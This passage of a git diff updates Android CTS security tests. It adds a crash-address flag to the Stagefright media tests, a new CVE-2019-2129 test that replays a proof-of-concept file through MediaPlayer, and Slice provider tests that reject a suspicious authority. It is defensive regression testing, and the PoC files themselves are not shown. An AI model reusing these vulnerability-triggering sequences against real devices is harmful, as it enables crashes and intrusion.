+        doStagefrightTest(R.raw.cve_2017_0852_b_62815506, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -322,7 +323,7 @@
 
     @SecurityTest(minPatchLevel = "2016-10")
     public void testStagefright_cve_2016_3920() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3920);
+        doStagefrightTest(R.raw.cve_2016_3920, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-06")
@@ -337,7 +338,7 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3821() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3821);
+        doStagefrightTest(R.raw.cve_2016_3821, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-04")
@@ -357,12 +358,12 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38115076() throws Exception {
-        doStagefrightTest(R.raw.bug_38115076);
+        doStagefrightTest(R.raw.bug_38115076, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34618607() throws Exception {
-        doStagefrightTest(R.raw.bug_34618607);
+        doStagefrightTest(R.raw.bug_34618607, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -387,13 +388,13 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0600() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0600);
+        doStagefrightTest(R.raw.cve_2017_0600, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_38014992() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -423,7 +424,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
-        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -459,13 +460,14 @@
     @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes);
+        doStagefrightTestRawBlob(
+                R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33818500() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -494,7 +496,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0599() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0599);
+        doStagefrightTest(R.raw.cve_2017_0599, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-09")
@@ -524,7 +526,7 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_6712() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6712);
+        doStagefrightTest(R.raw.cve_2016_6712, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-04")
@@ -550,12 +552,12 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_33818508() throws Exception {
-        doStagefrightTest(R.raw.bug_33818508);
+        doStagefrightTest(R.raw.bug_33818508, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
+        doStagefrightTest(R.raw.bug_32873375, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -618,7 +620,7 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_cve_2016_2428() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2428);
+        doStagefrightTest(R.raw.cve_2016_2428, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
@@ -656,7 +658,7 @@
                 @Override
                 public void run() {
                     try {
-                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath(), false);
                     } catch (Exception | AssertionError e) {
                         if (!tempFile.delete()) {
                             Log.e(TAG, "Failed to delete temporary PoC file");
@@ -681,7 +683,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_32322258() throws Exception {
-        doStagefrightTest(R.raw.bug_32322258);
+        doStagefrightTest(R.raw.bug_32322258, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -711,7 +713,7 @@
 
     @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
+        doStagefrightTest(R.raw.cve_2015_3862_b_22954006, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -776,12 +778,12 @@
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3755() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3755);
+        doStagefrightTest(R.raw.cve_2016_3755, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
+        doStagefrightTest(R.raw.cve_2016_3878_b_29493002, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
@@ -801,12 +803,12 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
-        doStagefrightTest(R.raw.bug_27855419);
+        doStagefrightTest(R.raw.bug_27855419, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_19779574() throws Exception {
-        doStagefrightTest(R.raw.bug_19779574);
+        doStagefrightTest(R.raw.bug_19779574, false);
     }
 
     /***********************************************************
@@ -816,7 +818,7 @@
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_36279112() throws Exception {
-        doStagefrightTest(R.raw.bug_36279112);
+        doStagefrightTest(R.raw.bug_36279112, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-06")
@@ -867,8 +869,11 @@
         Thread server = new Thread() {
             @Override
             public void run() {
-                try (ServerSocket serverSocket = new ServerSocket(8080);
-                        Socket conn = serverSocket.accept()) {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept();
+                ) {
                     OutputStream outputstream = conn.getOutputStream();
                     InputStream inputStream = conn.getInputStream();
                     byte input[] = new byte[65536];
@@ -895,7 +900,7 @@
         };
         server.start();
         String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(false);
         LooperThread t = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -977,7 +982,7 @@
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6764() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6764);
+        doStagefrightTest(R.raw.cve_2016_6764, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -987,7 +992,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35467107() throws Exception {
-        doStagefrightTest(R.raw.bug_35467107);
+        doStagefrightTest(R.raw.bug_35467107, false);
     }
 
     /***********************************************************
@@ -1000,6 +1005,11 @@
         doStagefrightTest(R.raw.cve_2018_11287, 180000);
     }
 
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2327() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2327);
+    }
+
     @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_cve_2017_17773() throws Exception {
         doStagefrightTest(R.raw.cve_2017_17773);
@@ -1080,12 +1090,12 @@
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6765() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6765);
+        doStagefrightTest(R.raw.cve_2016_6765, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2508() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2508);
+        doStagefrightTest(R.raw.cve_2016_2508, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-11")
@@ -1105,15 +1115,19 @@
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3879() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3879);
+        doStagefrightTest(R.raw.cve_2016_3879, false);
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
+        doStagefrightTest(rid, true); // check addresss by default
+    }
+
+    private void doStagefrightTest(final int rid, boolean checkMinCrashAddress) throws Exception {
         NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
         policy.setCleartextTrafficPermitted(true);
-        doStagefrightTestMediaPlayer(rid);
-        doStagefrightTestMediaCodec(rid);
-        doStagefrightTestMediaMetadataRetriever(rid);
+        doStagefrightTestMediaPlayer(rid, checkMinCrashAddress);
+        doStagefrightTestMediaCodec(rid, checkMinCrashAddress);
+        doStagefrightTestMediaMetadataRetriever(rid, checkMinCrashAddress);
 
         Context context = getInstrumentation().getContext();
         CtsTestServer server = null;
@@ -1129,9 +1143,9 @@
         String rname = resources.getResourceEntryName(rid);
         String url = server.getAssetUrl("raw/" + rname);
         verifyServer(rid, url);
-        doStagefrightTestMediaPlayer(url);
-        doStagefrightTestMediaCodec(url);
-        doStagefrightTestMediaMetadataRetriever(url);
+        doStagefrightTestMediaPlayer(url, checkMinCrashAddress);
+        doStagefrightTestMediaCodec(url, checkMinCrashAddress);
+        doStagefrightTestMediaMetadataRetriever(url, checkMinCrashAddress);
         policy.setCleartextTrafficPermitted(false);
         server.shutdown();
     }
@@ -1162,11 +1176,16 @@
     }
 
     private void doStagefrightTest(final int rid, int timeout) throws Exception {
+        doStagefrightTest(rid, true, timeout); // check crash address by default
+    }
+
+    private void doStagefrightTest(
+            final int rid, boolean checkMinCrashAddress, int timeout) throws Exception {
         runWithTimeout(new Runnable() {
             @Override
             public void run() {
                 try {
-                  doStagefrightTest(rid);
+                  doStagefrightTest(rid, checkMinCrashAddress);
                 } catch (Exception e) {
                   fail(e.toString());
                 }
@@ -1175,6 +1194,11 @@
     }
 
     private void doStagefrightTestANR(final int rid) throws Exception {
+        doStagefrightTestANR(rid, true); // check crash address by default
+    }
+
+    private void doStagefrightTestANR(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
         doStagefrightTestMediaPlayerANR(rid, null);
     }
 
@@ -1209,6 +1233,8 @@
         MediaPlayer.OnPreparedListener,
         MediaPlayer.OnCompletionListener {
 
+        boolean checkMinAddress = true;
+
         private final Pattern[] validProcessPatterns = {
             Pattern.compile("adsprpcd"),
             Pattern.compile("android\\.hardware\\.cas@\\d+?\\.\\d+?-service"),
@@ -1228,6 +1254,13 @@
             Pattern.compile("vendor.*"),
         };
 
+        MediaPlayerCrashListener() {
+        }
+
+        MediaPlayerCrashListener(boolean checkMinAddress) {
+            this.checkMinAddress = checkMinAddress;
+        }
+
         @Override
         public boolean onError(MediaPlayer mp, int newWhat, int extra) {
             Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1273,7 +1306,8 @@
                 if (crashes == null) {
                     Log.e(TAG, "Crash results not found for test " + getName());
                     return what;
-                } else if (CrashUtils.securityCrashDetected(crashes, true, validProcessPatterns)) {
+                } else if (CrashUtils.securityCrashDetected(
+                        crashes, checkMinAddress, validProcessPatterns)) {
                     return what;
                 } else {
                     Log.i(TAG, "Crash ignored due to no security crash found for test " +
@@ -1321,11 +1355,21 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid) throws Exception {
-        doStagefrightTestMediaPlayer(rid, null);
+        doStagefrightTestMediaPlayer(rid, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayer(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaPlayer(rid, null, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaPlayer(final String url) throws Exception {
-        doStagefrightTestMediaPlayer(-1, url);
+        doStagefrightTestMediaPlayer(url, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayer(
+            final String url, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaPlayer(-1, url, checkMinCrashAddress);
     }
 
     private void closeQuietly(AutoCloseable closeable) {
@@ -1340,12 +1384,17 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid, final String uri) throws Exception {
+        doStagefrightTestMediaPlayer(rid, uri, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayer(final int rid, final String uri,
+            boolean checkMinCrashAddress) throws Exception {
 
         String name = uri != null ? uri :
             getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayer test for: " + name);
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread t = new LooperThread(new Runnable() {
             @Override
@@ -1391,17 +1440,106 @@
         t.join(); // wait for thread to exit so we're sure the player was released
     }
 
+    /*
+     * b/135207745
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_2129() throws Exception {
+        final int rid = R.raw.cve_2019_2129;
+        String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+        Log.i(TAG, "start mediaplayer test for: " + name);
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                super.onPrepared(mp);
+                mp.setLooping(true);
+            }
+        };
+
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                RenderTarget renderTarget = RenderTarget.create();
+                Surface surface = renderTarget.getSurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+                    mp.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
+                        @Override
+                        public void onTimedText(MediaPlayer p, TimedText text) {
+                            if (text != null) {
+                                Log.d(TAG, "text = " + text.getText());
+                            }
+                        }
+                    });
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    //  keep the original as in poc by not using prepareAsync
+                    mp.prepare();
+                    mp.selectTrack(2);
+                } catch (Exception e) {
+                    Log.e(TAG, "Exception is caught " + e.getMessage());
+                    e.printStackTrace();
+                } finally {
+                    closeQuietly(fd);
+                }
+
+                try {
+                    //  here to catch & swallow the runtime crash in exception
+                    //  after the place where original poc failed in
+                    //  java.lang.IllegalArgumentException: parseParcel()
+                    //  which is beyond test control.
+                    Looper.loop();
+                } catch (RuntimeException e) {
+                    Log.e(TAG, "Exception is caught on Looper.loop() " + e.getMessage());
+                    e.printStackTrace();
+                }
+                mp.release();
+                renderTarget.destroy();
+            }
+        });
+
+        t.start();
+        String cve = name.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join(); // wait for thread to exit so we're sure the player was released
+    }
+
     private void doStagefrightTestMediaCodec(final int rid) throws Exception {
-        doStagefrightTestMediaCodec(rid, null);
+        doStagefrightTestMediaCodec(rid, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaCodec(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaCodec(rid, null, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaCodec(final String url) throws Exception {
-        doStagefrightTestMediaCodec(-1, url);
+        doStagefrightTestMediaCodec(url, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaCodec(
+            final String url, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaCodec(-1, url, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaCodec(final int rid, final String url) throws Exception {
+        doStagefrightTestMediaCodec(rid, url, true); // check crash address by default
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestMediaCodec(
+            final int rid, final String url, boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
@@ -1559,17 +1697,31 @@
     }
 
     private void doStagefrightTestMediaMetadataRetriever(final int rid) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(rid, null);
+        doStagefrightTestMediaMetadataRetriever(rid, true); // check crash address by default
+    }
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, null, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaMetadataRetriever(final String url) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(-1, url);
+        doStagefrightTestMediaMetadataRetriever(url, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaMetadataRetriever(
+            final String url, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(-1, url, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaMetadataRetriever(
             final int rid, final String url) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, url, true); // check crash address by default
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, final String url, boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
@@ -1644,12 +1796,12 @@
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug36816007() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testBug36895511() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-11")
@@ -1679,7 +1831,7 @@
 
     @SecurityTest(minPatchLevel = "2018-04")
     public void testBug_70897394() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240, false);
     }
 
     private int[] getFrameSizes(int rid) throws IOException {
@@ -1719,9 +1871,16 @@
         }, 5000);
     }
 
-    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight) throws Exception {
+    private void doStagefrightTestRawBlob(
+            int rid, String mime, int initWidth, int initHeight) throws Exception {
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, true);
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
 
@@ -1834,9 +1993,15 @@
     }
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
-        int frameSizes[]) throws Exception {
+            int frameSizes[]) throws Exception {
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, true);
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            int frameSizes[], boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
 
@@ -1970,11 +2135,16 @@
     }
 
     private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+        doStagefrightTestMediaPlayerANR(rid, uri, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayerANR(final int rid, final String uri,
+            boolean checkMinCrashAddress) throws Exception {
         String name = uri != null ? uri :
             getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayerANR test for: " + name);
 
-        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread t = new LooperThread(new Runnable() {
             @Override
@@ -2018,7 +2188,12 @@
     }
 
     private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        doStagefrightTestExtractorSeek(rid, offset, true); // check crash address by default
+    }
+
+    private void doStagefrightTestExtractorSeek(final int rid, final long offset,
+            boolean checkMinCrashAddress) throws Exception {
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
             public void run() {
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index a721b6f..a12f0a8 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2008 The Android Open Source Project
+// Copyright (C) 2019 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -35,6 +35,6 @@
         "libdexmakerjvmtiagent",
         "libmultiplejvmtiagentsinterferenceagent",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
     platform_apis: true,
 }
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
new file mode 100644
index 0000000..2a2e8e4
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.android.collect.Lists;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceProviderTest {
+
+    private static final String VALID_AUTHORITY = "android.slice.cts";
+    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
+    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
+    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
+    private static final String VALID_ACTION_URI_STRING =
+            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
+    private static final String SHADY_ACTION_URI_STRING =
+            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
+
+    @Rule
+    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
+
+    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
+    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
+    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
+
+    private ContentResolver mContentResolver;
+
+    @Before
+    public void setUp() {
+        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
+    }
+
+    @Test
+    public void testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri);
+    }
+
+    private Slice doQuery(Uri actionUri) {
+        Bundle extras = new Bundle();
+        extras.putParcelable("slice_uri", actionUri);
+        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
+                    new SliceSpec("androidx.slice.LIST", 1),
+                    new SliceSpec("androidx.app.slice.BASIC", 1),
+                    new SliceSpec("androidx.slice.BASIC", 1),
+                    new SliceSpec("androidx.app.slice.LIST", 1)
+            ));
+        Bundle result = mContentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        );
+        return result.getParcelable(SliceProvider.EXTRA_SLICE);
+    }
+
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
new file mode 100644
index 0000000..4b78f3a
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts
+
+import android.app.slice.Slice
+import android.app.slice.SliceSpec
+import android.content.ContentResolver
+import android.net.Uri
+import android.os.Bundle
+
+import androidx.test.rule.ActivityTestRule
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Before
+
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private const val VALID_AUTHORITY = "android.slice.cts"
+private const val SUSPICIOUS_AUTHORITY = "com.suspicious.www"
+private const val ACTION_BLUETOOTH = "/action/bluetooth"
+private const val VALID_BASE_URI_STRING = "content://$VALID_AUTHORITY"
+private const val VALID_ACTION_URI_STRING = "content://$VALID_AUTHORITY$ACTION_BLUETOOTH"
+private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
+
+@RunWith(AndroidJUnit4::class)
+class SliceProviderTest {
+
+    @Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
+
+    private val validBaseUri = Uri.parse(VALID_BASE_URI_STRING)
+    private val validActionUri = Uri.parse(VALID_ACTION_URI_STRING)
+    private val shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING)
+
+    private lateinit var contentResolver: ContentResolver
+
+    @Before
+    fun setUp() {
+        contentResolver = activityTestRule.activity.contentResolver
+    }
+
+    @Test
+    fun testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri)
+    }
+
+    @Test(expected = SecurityException::class)
+    fun testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri)
+    }
+
+    private fun doQuery(actionUri: Uri): Slice {
+        val extras = Bundle().apply {
+            putParcelable("slice_uri", actionUri)
+            putParcelableArrayList("supported_specs", ArrayList(listOf(
+                    SliceSpec("androidx.slice.LIST", 1),
+                    SliceSpec("androidx.app.slice.BASIC", 1),
+                    SliceSpec("androidx.slice.BASIC", 1),
+                    SliceSpec("androidx.app.slice.LIST", 1)
+            )))
+        }
+        val result = contentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        )
+        return result.getParcelable(SliceProvider.EXTRA_SLICE)
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index cc64987..a73737f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -19,13 +19,20 @@
 import android.content.ComponentName;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.provider.VoicemailContract.Voicemails;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 
